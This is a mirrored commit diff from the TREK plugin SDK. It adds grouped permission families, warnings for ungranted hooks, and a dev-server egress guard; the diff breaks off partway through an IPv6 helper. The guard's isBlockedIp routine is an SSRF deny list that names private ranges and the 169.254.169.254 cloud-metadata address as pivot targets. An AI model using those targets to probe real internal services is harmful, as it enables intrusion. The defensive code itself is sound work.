mirror of
https://github.com/mauriceboe/TREK.git
synced 2026-10-19 05:26:47 +00:00
fix(sdk) harden dev environment
This commit is contained in:
@@ -12,6 +12,9 @@
|
||||
import { createHash } from 'node:crypto';
|
||||
import path from 'node:path';
|
||||
import { validateManifest, isSatisfiableRange, isUnboundedRange, KNOWN_ADDONS } from '../../manifest.js';
|
||||
// The hosts a plugin can ACTUALLY reach. See `code.egress-reachable` for why this is the
|
||||
// only list that counts — and permissions.ts for why dev's egress guard uses the same one.
|
||||
import { grantedHosts } from '../../permissions.js';
|
||||
import { LUCIDE_ICON_NAMES } from '../../lucide-icon-names.js';
|
||||
import { listZipNames } from '../../zip.js';
|
||||
import { checkSignatureShape } from '../verify-signature.js';
|
||||
@@ -33,11 +36,6 @@ const NATIVE_RE = /(^|\/)[^/]+\.node$|(^|\/)binding\.gyp$|(^|\/)prebuilds?\//i;
|
||||
const str = (v: unknown): string => (typeof v === 'string' ? v : '');
|
||||
const arr = (v: unknown): string[] => (Array.isArray(v) ? v.map(String) : []);
|
||||
|
||||
/** The hosts a plugin can ACTUALLY reach. See `code.egress-reachable` for why this is the only list that counts. */
|
||||
function grantedHosts(permissions: string[]): string[] {
|
||||
return permissions.filter((p) => p.startsWith('http:outbound:')).map((p) => p.slice('http:outbound:'.length)).filter(Boolean);
|
||||
}
|
||||
|
||||
// ── manifest ────────────────────────────────────────────────────────────────────
|
||||
|
||||
const manifestPresent: OfflineCheck = {
|
||||
|
||||
@@ -11,8 +11,8 @@ import { execFileSync } from 'node:child_process';
|
||||
import { createRequire } from 'node:module';
|
||||
import {
|
||||
intro, outro, note, logInfo, logSuccess, logWarn, spinner,
|
||||
promptText, promptSelect, promptMultiselect, promptConfirm,
|
||||
PERMISSION_CATALOG,
|
||||
promptText, promptSelect, promptMultiselect, promptGroupMultiselect, promptConfirm,
|
||||
PERMISSION_FAMILIES,
|
||||
} from './ui.js';
|
||||
import { KNOWN_ADDONS } from '../manifest.js';
|
||||
import { LUCIDE_ICON_NAMES } from '../lucide-icon-names.js';
|
||||
@@ -483,11 +483,21 @@ export async function interactiveScaffold(defaultDir: string, presetName?: strin
|
||||
defaultValue: 'Describe what your plugin does.',
|
||||
});
|
||||
|
||||
const permissions = await promptMultiselect<string>({
|
||||
message: 'Which permissions does it need?',
|
||||
options: PERMISSION_CATALOG.map((p) => ({ value: p.value, label: p.label, hint: p.hint })),
|
||||
// ONE prompt, grouped by area. 58 permissions in a flat list is unreadable, but asking in
|
||||
// two steps (areas → permissions) was worse: Clack has no "back", so picking the wrong
|
||||
// areas was a dead end you could only escape with ^C. A grouped multiselect is a single
|
||||
// scrollable screen — space toggles a permission, or a whole area from its header.
|
||||
const permissions = await promptGroupMultiselect<string>({
|
||||
message: 'Which permissions does it need? (space toggles; a group header toggles the whole area)',
|
||||
options: Object.fromEntries(
|
||||
PERMISSION_FAMILIES.map((f) => [
|
||||
`${f.label} — ${f.hint}`,
|
||||
f.permissions.map((p) => ({ value: p.value, label: p.value, hint: p.hint })),
|
||||
]),
|
||||
),
|
||||
initialValues: ['db:own'],
|
||||
required: false,
|
||||
selectableGroups: true,
|
||||
});
|
||||
|
||||
let egress: string[] | undefined;
|
||||
|
||||
@@ -7,6 +7,14 @@
|
||||
* node:sqlite, serves your routes over HTTP and your page/widget UI, and reloads
|
||||
* on every save.
|
||||
*
|
||||
* Enforcement is NOT limited to ctx. TREK gates hooks, event subscriptions, jobs
|
||||
* and outbound network BEFORE a plugin's ctx is ever reached, and it does so
|
||||
* SILENTLY — an ungranted hook is simply never called, with no error and no log, so
|
||||
* "my plugin does nothing" is all the author ever sees. Dev therefore refuses the
|
||||
* same things, loudly: it warns at load about every entry point you implement but
|
||||
* did not grant (see grantGaps), returns 403 from /__dev/fire for one, and installs
|
||||
* the real egress guard so an undeclared host fails here rather than after install.
|
||||
*
|
||||
* Dependency-free: node:http + node:sqlite (when present) + built-ins.
|
||||
*/
|
||||
import fs from 'node:fs';
|
||||
@@ -16,6 +24,11 @@ import { createRequire } from 'node:module';
|
||||
import * as sdk from '../index.js';
|
||||
import { injectTrekUi } from '../ui/kit.js';
|
||||
import { readJsonFile } from './json.js';
|
||||
import {
|
||||
PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION,
|
||||
grantGaps, grantedHosts, type GrantGap,
|
||||
} from '../permissions.js';
|
||||
import { installEgressGuard } from '../egress-policy.js';
|
||||
|
||||
// Dev fixtures ARE mock-host options — the dev ctx delegates every non-db-own
|
||||
// capability to a grant-enforcing mock host, so dev-fixtures.json can seed the full
|
||||
@@ -36,7 +49,34 @@ interface PluginLike {
|
||||
hooks?: Record<string, Record<string, Handler>>;
|
||||
}
|
||||
|
||||
class PermissionDenied extends Error {}
|
||||
// /__dev/fire/<kind> → the permission TREK requires before it would ever fire that
|
||||
// entry point. `hook` is resolved per hook name via HOOK_PERMISSION instead.
|
||||
const FIRE_PERMISSION: Readonly<Record<string, string | undefined>> = {
|
||||
job: JOBS_PERMISSION,
|
||||
scheduled: JOBS_PERMISSION,
|
||||
event: EVENTS_PERMISSION,
|
||||
deleteUserData: USER_DATA_PERMISSION,
|
||||
exportUserData: USER_DATA_PERMISSION,
|
||||
};
|
||||
|
||||
/** Refuse an entry point the manifest never granted. An unknown kind/hook has no
|
||||
* permission to check — it falls through to the handler's own 400/404. */
|
||||
function needGrant(grants: ReadonlySet<string>, perm: string | undefined, what: string): void {
|
||||
if (perm && !grants.has(perm)) {
|
||||
throw new PermissionDenied(
|
||||
`PERMISSION_DENIED: ${what} requires "${perm}" — add it to permissions in trek-plugin.json. ` +
|
||||
`TREK would never fire this entry point (it skips ungranted plugins silently).`,
|
||||
);
|
||||
}
|
||||
}
|
||||
|
||||
/** Warn about every entry point the plugin implements but cannot run. Printed at load
|
||||
* and on every hot reload, because this failure is invisible in production. */
|
||||
function printGaps(gaps: GrantGap[]): void {
|
||||
for (const g of gaps) {
|
||||
console.warn(` ⚠ ${g.entryPoint} is implemented but "${g.permission}" is NOT granted — ${g.consequence}`);
|
||||
}
|
||||
}
|
||||
|
||||
// The same SQL guards the real host's PluginDataDb applies (plugin-data.service.ts):
|
||||
// forbidden statement types, an sql-length cap, a result-row cap, and — inside tx() —
|
||||
@@ -277,10 +317,18 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
|
||||
const req = createRequire(path.join(abs, 'server', 'index.js'));
|
||||
|
||||
let plugin: PluginLike = {};
|
||||
let gaps: GrantGap[] = [];
|
||||
let version = 0;
|
||||
const { ctx, userlessCtx } = createDevContext(id, grants, fx, db, broadcasts);
|
||||
const port = opts.port ?? 4317;
|
||||
|
||||
// The plugin's outbound network, restricted to the hosts it was granted — with none,
|
||||
// everything is blocked, exactly as in TREK. `operatorEgressHosts` in dev-fixtures.json
|
||||
// stands in for the hosts an admin supplies at runtime to an `operatorEgress` plugin,
|
||||
// which by definition cannot name them in its manifest.
|
||||
const egressHosts = [...grantedHosts(grants), ...(fx.operatorEgressHosts ?? [])];
|
||||
installEgressGuard(egressHosts);
|
||||
|
||||
// Block a browser-initiated cross-site request to the side-effectful endpoints:
|
||||
// modern browsers stamp Sec-Fetch-Site (anything but same-origin is another site;
|
||||
// 'none' is the user's own address bar and stays allowed), and every browser sends
|
||||
@@ -304,17 +352,25 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
|
||||
await plugin.onLoad?.(ctx);
|
||||
version++;
|
||||
console.log(` ↻ loaded ${plugin.routes?.length ?? 0} route(s)`);
|
||||
// Recomputed on every reload: adding a hook (or removing its permission) mid-session
|
||||
// must change the warning, not leave a stale one from boot. The initial load's gaps
|
||||
// are printed by the startup banner; a reload prints its own (see reload()).
|
||||
gaps = grantGaps(plugin, grants);
|
||||
} catch (e) {
|
||||
// A plugin whose load/onLoad throws would fail activation in TREK — don't
|
||||
// keep serving its routes here, or dev would hide exactly that failure.
|
||||
plugin = {};
|
||||
gaps = [];
|
||||
console.error(' ✗ plugin failed to load:', e instanceof Error ? e.message : e);
|
||||
}
|
||||
};
|
||||
await load();
|
||||
|
||||
let timer: NodeJS.Timeout | null = null;
|
||||
const reload = () => { if (timer) clearTimeout(timer); timer = setTimeout(() => { console.log(' change detected'); void load(); }, 120); };
|
||||
const reload = () => {
|
||||
if (timer) clearTimeout(timer);
|
||||
timer = setTimeout(() => { console.log(' change detected'); void load().then(() => printGaps(gaps)); }, 120);
|
||||
};
|
||||
watchTree(path.join(abs, 'server'), reload);
|
||||
watchTree(path.join(abs, 'client'), reload);
|
||||
|
||||
@@ -344,6 +400,10 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
|
||||
if (typeof bodyRaw === 'string') { try { payload = JSON.parse(bodyRaw); } catch { payload = bodyRaw; } }
|
||||
if (payload === undefined) { const q: Record<string, string> = {}; url.searchParams.forEach((v, k) => { q[k] = v; }); if (Object.keys(q).length) payload = q; }
|
||||
try {
|
||||
// TREK gates these entry points on a permission BEFORE the plugin is reached, and
|
||||
// an ungranted one is never invoked — silently. Refuse it here, loudly, or dev
|
||||
// would keep green-lighting a plugin that does nothing at all once installed.
|
||||
needGrant(grants, kind === 'hook' ? HOOK_PERMISSION[name] : FIRE_PERMISSION[kind], `${kind}${name ? `/${name}` : ''}`);
|
||||
// Jobs, scheduled tasks, events and the GDPR handlers run with NO acting user in
|
||||
// production — fire them against the userless ctx so a membership read fails here
|
||||
// exactly like it would in TREK. Hooks stay user-bound.
|
||||
@@ -381,7 +441,7 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
|
||||
}
|
||||
}
|
||||
|
||||
if (url.pathname === '/') return send(200, dashboard(id, String(manifest.type), plugin.routes ?? [], dbNote, broadcasts.length), 'text/html; charset=utf-8');
|
||||
if (url.pathname === '/') return send(200, dashboard(id, String(manifest.type), plugin.routes ?? [], dbNote, broadcasts.length, gaps), 'text/html; charset=utf-8');
|
||||
|
||||
// Faithful host preview: embeds /ui in a sandboxed opaque-origin iframe (exactly
|
||||
// like TREK) and plays the host — posts trek:context (with a theme/accent toggle),
|
||||
@@ -463,6 +523,8 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise
|
||||
console.log(`\n trek-plugin dev — ${id} (${String(manifest.type)})`);
|
||||
console.log(` ${dbNote}`);
|
||||
console.log(` granted: ${[...grants].join(', ') || '(none)'}`);
|
||||
console.log(` egress: ${egressHosts.join(', ') || '(none — all outbound is blocked, as in TREK)'}`);
|
||||
printGaps(gaps);
|
||||
console.log(`\n ▸ http://localhost:${port}/ dashboard`);
|
||||
if (String(manifest.type) !== 'integration') {
|
||||
console.log(` ▸ http://localhost:${port}/preview themed host preview`);
|
||||
@@ -497,20 +559,32 @@ function contentType(file: string): string {
|
||||
|
||||
const LIVE_RELOAD = `<script>let __v;setInterval(async()=>{try{const v=await(await fetch('/__dev/version')).text();if(__v&&v!==__v)location.reload();__v=v;}catch(e){}},1000)</script>`;
|
||||
|
||||
function dashboard(id: string, type: string, routes: PluginRouteLike[], dbNote: string, bcasts: number): string {
|
||||
function dashboard(id: string, type: string, routes: PluginRouteLike[], dbNote: string, bcasts: number, gaps: GrantGap[]): string {
|
||||
const rows = routes.length
|
||||
? routes.map((r) => `<tr><td><code>${r.method}</code></td><td><a href="/api${r.path}">/api${r.path}</a></td><td>${r.auth === false ? 'public' : 'auth'}</td></tr>`).join('')
|
||||
: '<tr><td colspan="3" style="opacity:.6">no routes declared</td></tr>';
|
||||
const ui = type !== 'integration'
|
||||
? `<p><a href="/preview">▸ open the themed host preview (/preview)</a> · <a href="/ui">raw /ui</a></p>`
|
||||
: '';
|
||||
// The silent killer, made loud: in TREK these entry points are simply never invoked,
|
||||
// with nothing logged anywhere. If any exist, they are the most important thing here.
|
||||
const warn = gaps.length
|
||||
? `<div class="warn"><strong>⚠ ${gaps.length} entry point(s) TREK would never run</strong><ul>${gaps
|
||||
.map((g) => `<li><code>${g.entryPoint}</code> needs <code>${g.permission}</code> — ${g.consequence}</li>`)
|
||||
.join('')}</ul><p>Add the permission(s) to <code>trek-plugin.json</code>. Until then this works in dev and does nothing once installed.</p></div>`
|
||||
: '';
|
||||
return `<!doctype html><meta charset="utf-8"><title>${id} · trek-plugin dev</title>
|
||||
<style>body{font:15px/1.5 system-ui,sans-serif;max-width:720px;margin:3rem auto;padding:0 1rem;color:#111}
|
||||
h1{font-size:1.4rem}code{background:#f3f4f6;padding:.1em .35em;border-radius:4px}
|
||||
table{border-collapse:collapse;width:100%;margin:1rem 0}td{border-bottom:1px solid #eee;padding:.5rem .4rem;text-align:left}
|
||||
.muted{color:#6b7280;font-size:.9rem}a{color:#4f46e5}@media(prefers-color-scheme:dark){body{background:#111827;color:#e5e7eb}code{background:#1f2937}td{border-color:#374151}}</style>
|
||||
.muted{color:#6b7280;font-size:.9rem}a{color:#4f46e5}
|
||||
.warn{background:#fef2f2;border:1px solid #fecaca;border-radius:8px;padding:.75rem 1rem;margin:1rem 0}
|
||||
.warn ul{margin:.5rem 0;padding-left:1.2rem}.warn p{margin:.5rem 0 0;font-size:.9rem}
|
||||
@media(prefers-color-scheme:dark){body{background:#111827;color:#e5e7eb}code{background:#1f2937}td{border-color:#374151}
|
||||
.warn{background:#3f1d1d;border-color:#7f1d1d}}</style>
|
||||
<h1>${id} <span class="muted">· ${type}</span></h1>
|
||||
<p class="muted">${dbNote} · ${bcasts} ws broadcast(s) captured</p>
|
||||
${warn}
|
||||
${ui}
|
||||
<table><tr><th>Method</th><th>URL</th><th>Auth</th></tr>${rows}</table>
|
||||
<p class="muted">Add <code>?_anon=1</code> to a route to hit it as an unauthenticated request. Edit <code>server/</code> or <code>client/</code> and this reloads.</p>
|
||||
|
||||
+187
-23
@@ -18,10 +18,12 @@ import {
|
||||
text as clackText,
|
||||
select as clackSelect,
|
||||
multiselect as clackMultiselect,
|
||||
groupMultiselect as clackGroupMultiselect,
|
||||
confirm as clackConfirm,
|
||||
type TextOptions,
|
||||
type SelectOptions,
|
||||
type MultiSelectOptions,
|
||||
type GroupMultiSelectOptions,
|
||||
type ConfirmOptions,
|
||||
type SpinnerResult,
|
||||
} from '@clack/prompts';
|
||||
@@ -67,38 +69,200 @@ export const promptSelect = async <Value>(opts: Omit<SelectOptions<Value>, 'outp
|
||||
export const promptMultiselect = async <Value>(opts: Omit<MultiSelectOptions<Value>, 'output'>): Promise<Value[]> =>
|
||||
orCancel(await clackMultiselect({ ...opts, output: OUT }));
|
||||
|
||||
/**
|
||||
* One multiselect, options rendered under group headers. Used for permissions: 58 of them
|
||||
* in a flat list is unreadable, but splitting the pick across TWO prompts was worse — Clack
|
||||
* has no "back", so choosing the wrong group was a dead end you could only escape with ^C.
|
||||
* Grouping keeps it a single screen you can scroll, with no navigation to get lost in.
|
||||
*/
|
||||
export const promptGroupMultiselect = async <Value>(
|
||||
opts: Omit<GroupMultiSelectOptions<Value>, 'output'>,
|
||||
): Promise<Value[]> => orCancel(await clackGroupMultiselect({ ...opts, output: OUT }));
|
||||
|
||||
export const promptConfirm = async (opts: Omit<ConfirmOptions, 'output'>): Promise<boolean> =>
|
||||
orCancel(await clackConfirm({ ...opts, output: OUT }));
|
||||
|
||||
// ── permissions ──────────────────────────────────────────────────────────────
|
||||
|
||||
/**
|
||||
* The permissions an author can grant, each with a human hint for the multiselect.
|
||||
* This list must stay in lockstep with the host's `KNOWN_PERMISSIONS`
|
||||
* (server `src/nest/plugins/protocol/envelope.ts`) — same strings, same order.
|
||||
* The manifest validator's `KNOWN_PERMISSIONS` (`../manifest.ts`) mirrors it too.
|
||||
* Every permission an author can grant, grouped into the areas of TREK they touch.
|
||||
*
|
||||
* This used to be a hand-written list, and it silently fell 40 permissions behind the
|
||||
* host — `create` could not offer `jobs:run`, `events:subscribe` or 7 of the 12 hooks,
|
||||
* so a scaffolded plugin that needed one had no way to ask for it. The families below
|
||||
* are now the ONLY place a permission may be listed, and `test/cli.test.ts` fails if a
|
||||
* permission in the manifest validator's KNOWN_PERMISSIONS has no entry here. Add a
|
||||
* permission to TREK ⇒ the test tells you to describe it ⇒ `create` offers it.
|
||||
*
|
||||
* `db:read:*` grants read the data the REQUESTING USER can already see; `db:write:*`
|
||||
* grants act on trips that user can edit. Neither is a superuser grant.
|
||||
*/
|
||||
export const PERMISSION_CATALOG: { value: string; label: string; hint: string }[] = [
|
||||
{ value: 'db:own', label: 'db:own', hint: 'A private database only this plugin can read/write' },
|
||||
{ value: 'db:read:trips', label: 'db:read:trips', hint: 'Read trips the requesting user can access' },
|
||||
{ value: 'db:read:users', label: 'db:read:users', hint: 'Read basic user profiles' },
|
||||
{ value: 'db:read:costs', label: 'db:read:costs', hint: 'Read costs (budget items) the requesting user can access' },
|
||||
{ value: 'db:write:costs', label: 'db:write:costs', hint: 'Create costs (budget items) on trips the user can edit' },
|
||||
{ value: 'db:write:places', label: 'db:write:places', hint: 'Add, edit and remove places on trips the user can edit' },
|
||||
{ value: 'db:write:days', label: 'db:write:days', hint: 'Add, edit and remove days on trips the user can edit' },
|
||||
{ value: 'db:write:itinerary', label: 'db:write:itinerary', hint: 'Assign and remove places on days of trips the user can edit' },
|
||||
{ value: 'db:write:trips', label: 'db:write:trips', hint: 'Edit trip details (title, dates, currency…) on trips the user can edit' },
|
||||
{ value: 'db:meta', label: 'db:meta', hint: 'Attach its own private data to trips, places and days the user can access' },
|
||||
{ value: 'ws:broadcast:trip', label: 'ws:broadcast:trip', hint: 'Push realtime events to everyone on a trip' },
|
||||
{ value: 'ws:broadcast:user', label: 'ws:broadcast:user', hint: 'Push realtime events to a single user' },
|
||||
{ value: 'hook:photo-provider', label: 'hook:photo-provider', hint: 'Supply place photos to TREK' },
|
||||
{ value: 'hook:calendar-source', label: 'hook:calendar-source', hint: 'Supply calendar events to TREK' },
|
||||
{ value: 'hook:notification-channel', label: 'hook:notification-channel', hint: 'Deliver TREK notifications over your own channel' },
|
||||
{ value: 'hook:place-detail-provider', label: 'hook:place-detail-provider', hint: 'Contribute extra details (reviews, ratings, links) to a place' },
|
||||
{ value: 'hook:trip-warning-provider', label: 'hook:trip-warning-provider', hint: 'Raise validation warnings on a trip (shown in the planner)' },
|
||||
{ value: 'http:outbound', label: 'http:outbound', hint: 'Call external HTTP hosts (needs an egress allow-list)' },
|
||||
export interface PermissionFamily {
|
||||
id: string;
|
||||
label: string;
|
||||
hint: string;
|
||||
permissions: { value: string; hint: string }[];
|
||||
}
|
||||
|
||||
export const PERMISSION_FAMILIES: PermissionFamily[] = [
|
||||
{
|
||||
id: 'storage',
|
||||
label: 'Its own storage',
|
||||
hint: 'Where the plugin keeps data of its own',
|
||||
permissions: [
|
||||
{ value: 'db:own', hint: 'A private database only this plugin can read/write' },
|
||||
{ value: 'db:meta', hint: 'Attach its own private data to trips, places and days the user can access' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'trips',
|
||||
label: 'Trips & members',
|
||||
hint: 'The trip itself, and who is on it',
|
||||
permissions: [
|
||||
{ value: 'db:read:trips', hint: 'Read trips the requesting user can access' },
|
||||
{ value: 'db:write:trips', hint: 'Edit trip details (title, dates, currency…) on trips the user can edit' },
|
||||
{ value: 'db:create:trips', hint: 'Create new trips for the requesting user' },
|
||||
{ value: 'db:read:users', hint: 'Read basic user profiles' },
|
||||
{ value: 'db:write:members', hint: 'Add and remove trip members' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'itinerary',
|
||||
label: 'Places, days & itinerary',
|
||||
hint: 'The plan itself — the planner\'s core',
|
||||
permissions: [
|
||||
{ value: 'db:write:places', hint: 'Add, edit and remove places on trips the user can edit' },
|
||||
{ value: 'db:write:days', hint: 'Add, edit and remove days on trips the user can edit' },
|
||||
{ value: 'db:write:itinerary', hint: 'Assign and remove places on days of trips the user can edit' },
|
||||
{ value: 'db:read:categories', hint: 'Read the place categories TREK ships' },
|
||||
{ value: 'db:read:tags', hint: 'Read the tags used to label places' },
|
||||
{ value: 'db:write:tags', hint: 'Create, rename and delete tags' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'bookings',
|
||||
label: 'Reservations & accommodation',
|
||||
hint: 'Flights, trains, hotels',
|
||||
permissions: [
|
||||
{ value: 'db:write:reservations', hint: 'Create, edit and delete reservations (flights, trains, restaurants…)' },
|
||||
{ value: 'db:write:accommodations', hint: 'Create, edit and delete accommodation (hotels, rentals)' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'budget',
|
||||
label: 'Budget',
|
||||
hint: 'Costs and splits — needs the budget addon enabled',
|
||||
permissions: [
|
||||
{ value: 'db:read:costs', hint: 'Read costs (budget items) the requesting user can access' },
|
||||
{ value: 'db:write:costs', hint: 'Create, edit and delete costs on trips the user can edit' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'packing',
|
||||
label: 'Packing & todos',
|
||||
hint: 'Checklists — packing needs the packing addon',
|
||||
permissions: [
|
||||
{ value: 'db:read:packing', hint: 'Read packing lists and bags' },
|
||||
{ value: 'db:write:packing', hint: 'Create, edit, tick and delete packing items and bags' },
|
||||
{ value: 'db:read:todos', hint: 'Read the trip todo list' },
|
||||
{ value: 'db:write:todos', hint: 'Create, edit, tick and delete todos' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'files',
|
||||
label: 'Files & documents',
|
||||
hint: 'Uploads — needs the documents addon enabled',
|
||||
permissions: [
|
||||
{ value: 'db:read:files', hint: 'List a trip\'s files and their metadata (NOT their contents)' },
|
||||
{ value: 'db:read:files:content', hint: 'Read the actual BYTES of a file — grant this only if you truly need them' },
|
||||
{ value: 'db:write:files', hint: 'Upload, link, rename and delete files' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'collab',
|
||||
label: 'Collaboration',
|
||||
hint: 'Notes, polls, chat — needs the collab addon enabled',
|
||||
permissions: [
|
||||
{ value: 'db:read:collab', hint: 'Read shared notes, polls and chat messages' },
|
||||
{ value: 'db:write:collab', hint: 'Create notes and polls, vote, and post messages' },
|
||||
{ value: 'db:read:daynotes', hint: 'Read the notes pinned to a day' },
|
||||
{ value: 'db:write:daynotes', hint: 'Create, edit and delete day notes' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'journal',
|
||||
label: 'Journal, Atlas, Vacay & collections',
|
||||
hint: 'The cross-trip features — each needs its addon enabled',
|
||||
permissions: [
|
||||
{ value: 'db:read:journal', hint: 'Read journeys and their entries' },
|
||||
{ value: 'db:write:journal', hint: 'Create and edit journeys and journal entries' },
|
||||
{ value: 'db:read:atlas', hint: 'Read visited countries/regions and the bucket list' },
|
||||
{ value: 'db:write:atlas', hint: 'Mark places visited and edit the bucket list' },
|
||||
{ value: 'db:read:vacay', hint: 'Read vacation-day plans and balances' },
|
||||
{ value: 'db:write:vacay', hint: 'Toggle vacation days and company holidays' },
|
||||
{ value: 'db:read:collections', hint: 'Read saved place collections' },
|
||||
{ value: 'db:write:collections', hint: 'Create collections, save places into them, and copy them to a trip' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'hooks',
|
||||
label: 'Provider hooks (render inside TREK natively)',
|
||||
hint: 'TREK calls YOU. Without the matching grant a hook is NEVER invoked — silently',
|
||||
permissions: [
|
||||
{ value: 'hook:photo-provider', hint: 'Supply place photos to TREK' },
|
||||
{ value: 'hook:calendar-source', hint: 'Supply calendar events to TREK' },
|
||||
{ value: 'hook:place-detail-provider', hint: 'Contribute extra details (reviews, ratings, links) to a place' },
|
||||
{ value: 'hook:trip-warning-provider', hint: 'Raise validation warnings on a trip (shown in the planner)' },
|
||||
{ value: 'hook:table-contributor', hint: 'Add columns to TREK\'s tables' },
|
||||
{ value: 'hook:map-marker-provider', hint: 'Add your own markers to the map' },
|
||||
{ value: 'hook:pdf-section-provider', hint: 'Add a section to the exported trip PDF' },
|
||||
{ value: 'hook:atlas-layer-provider', hint: 'Add a layer to the Atlas map' },
|
||||
{ value: 'hook:journal-entry-provider', hint: 'Contribute entries to a journey' },
|
||||
{ value: 'hook:trip-card-provider', hint: 'Add a badge/card to the trip list' },
|
||||
{ value: 'hook:notification-channel', hint: 'Deliver TREK notifications over your own channel' },
|
||||
{ value: 'hook:user-data', hint: 'Implement GDPR erasure/export of the data you hold for a user' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'background',
|
||||
label: 'Background work',
|
||||
hint: 'Run without a user present. Ungranted, these never run at all',
|
||||
permissions: [
|
||||
{ value: 'jobs:run', hint: 'Run cron jobs and ctx.scheduler timers (no acting user)' },
|
||||
{ value: 'events:subscribe', hint: 'Receive TREK events (place:created, trip:updated…) as they happen' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'realtime',
|
||||
label: 'Realtime push',
|
||||
hint: 'Push to connected clients over the websocket',
|
||||
permissions: [
|
||||
{ value: 'ws:broadcast:trip', hint: 'Push realtime events to everyone on a trip' },
|
||||
{ value: 'ws:broadcast:user', hint: 'Push realtime events to a single user' },
|
||||
],
|
||||
},
|
||||
{
|
||||
id: 'services',
|
||||
label: 'Network & host services',
|
||||
hint: 'Reach the outside world, or borrow a TREK service',
|
||||
permissions: [
|
||||
{ value: 'http:outbound', hint: 'Call external HTTP hosts (you name the hosts next)' },
|
||||
{ value: 'weather:read', hint: 'Read forecasts through TREK\'s weather service' },
|
||||
{ value: 'rates:read', hint: 'Read currency exchange rates through TREK' },
|
||||
{ value: 'notify:send', hint: 'Send a TREK notification to a user or trip' },
|
||||
{ value: 'ai:invoke', hint: 'Call the instance\'s configured AI model' },
|
||||
{ value: 'oauth:client', hint: 'Obtain OAuth access tokens for the user' },
|
||||
],
|
||||
},
|
||||
];
|
||||
|
||||
/** Flat view of every permission, for the non-interactive path and the tests. */
|
||||
export const PERMISSION_CATALOG: { value: string; label: string; hint: string; family: string }[] =
|
||||
PERMISSION_FAMILIES.flatMap((f) =>
|
||||
f.permissions.map((p) => ({ value: p.value, label: p.value, hint: p.hint, family: f.id })),
|
||||
);
|
||||
|
||||
/** Every grantable permission id. Derived — never hand-maintained. */
|
||||
export const KNOWN_PERMISSIONS: string[] = PERMISSION_CATALOG.map((p) => p.value);
|
||||
|
||||
// ── reporter seam (for commands that log their own progress, e.g. publish) ────
|
||||
|
||||
@@ -0,0 +1,317 @@
|
||||
/**
|
||||
* The plugin network guard, mirrored from the host so `dev` blocks exactly what a
|
||||
* real TREK blocks.
|
||||
*
|
||||
* In production the plugin child wraps fetch/net/dns/dgram and allows ONLY the hosts
|
||||
* granted as `http:outbound:<host>` permissions — with no such grant, all outbound is
|
||||
* blocked. The dev server had no guard at all, so a plugin calling an undeclared host
|
||||
* worked perfectly in dev and was refused the moment it was installed. This closes
|
||||
* that gap.
|
||||
*
|
||||
* The pure helpers below (isBlockedIp, makeHostAllow, classifyConnect, …) are copied
|
||||
* VERBATIM from the server's runtime/egress-policy.ts — trek-plugin-sdk ships
|
||||
* standalone and cannot import across the package boundary. test/egress-parity.test.ts
|
||||
* fails if the two drift.
|
||||
*
|
||||
* What is deliberately NOT mirrored: the host also locks its wrappers
|
||||
* non-configurable and disables process.binding, to contain a HOSTILE plugin in a
|
||||
* dedicated child. Dev runs YOUR code in the CLI's own process, where a plugin
|
||||
* escaping the guard is not a threat anyone needs defending from — and locking the
|
||||
* globals would make the guard un-restorable for tests. Dev's job here is fidelity,
|
||||
* not containment.
|
||||
*/
|
||||
import net from 'node:net';
|
||||
import dns from 'node:dns';
|
||||
import dgram from 'node:dgram';
|
||||
|
||||
// ---------------------------------------------------------------------------
|
||||
// Pure policy helpers — kept byte-identical to the server's egress-policy.ts.
|
||||
// ---------------------------------------------------------------------------
|
||||
|
||||
/**
|
||||
* Block outbound connections to loopback / private / link-local / ULA / carrier-
|
||||
* grade-NAT / cloud-metadata / multicast / reserved destinations. This is the
|
||||
* SSRF backstop: even a declared host that (re)resolves to one of these is
|
||||
* refused, so a plugin can't pivot to trek.db's host, the 169.254.169.254
|
||||
* metadata IP, the local docker network, or other internal services.
|
||||
*/
|
||||
export function isBlockedIp(ip: string): boolean {
|
||||
const v4 = ip.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/);
|
||||
if (v4) {
|
||||
const a = Number(v4[1]);
|
||||
const b = Number(v4[2]);
|
||||
return (
|
||||
a === 0 ||
|
||||
a === 10 ||
|
||||
a === 127 ||
|
||||
(a === 172 && b >= 16 && b <= 31) ||
|
||||
(a === 192 && b === 168) ||
|
||||
(a === 169 && b === 254) || // link-local, incl. 169.254.169.254 metadata
|
||||
(a === 100 && b >= 64 && b <= 127) || // CGNAT 100.64/10
|
||||
a >= 224 // multicast + reserved
|
||||
);
|
||||
}
|
||||
// IPv6: expand to 8 hextets so EVERY spelling is checked (compressed `::`,
|
||||
// hex IPv4-mapped `::ffff:a9fe:a9fe`, dotted `::ffff:169.254.169.254`, `0::1`).
|
||||
const g = expandV6(ip.replace(/^\[/, '').replace(/\]$/, ''));
|
||||
if (g) {
|
||||
if (g.every((x) => x === 0)) return true; // :: (unspecified)
|
||||
// IPv4-mapped (::ffff:x) and IPv4-compatible (::x) → check the embedded IPv4.
|
||||
if (g.slice(0, 5).every((x) => x === 0) && (g[5] === 0xffff || g[5] === 0)) {
|
||||
return isBlockedIp(`${g[6] >> 8}.${g[6] & 0xff}.${g[7] >> 8}.${g[7] & 0xff}`);
|
||||
}
|
||||
if ((g[0] & 0xffc0) === 0xfe80) return true; // fe80::/10 link-local
|
||||
if ((g[0] & 0xfe00) === 0xfc00) return true; // fc00::/7 ULA
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
/** Expand an IPv6 literal into its 8 numeric hextets, or null if not a valid IPv6. */
|
||||
function expandV6(ip: string): number[] | null {
|
||||
let h = ip.toLowerCase().replace(/%.*$/, '');
|
||||
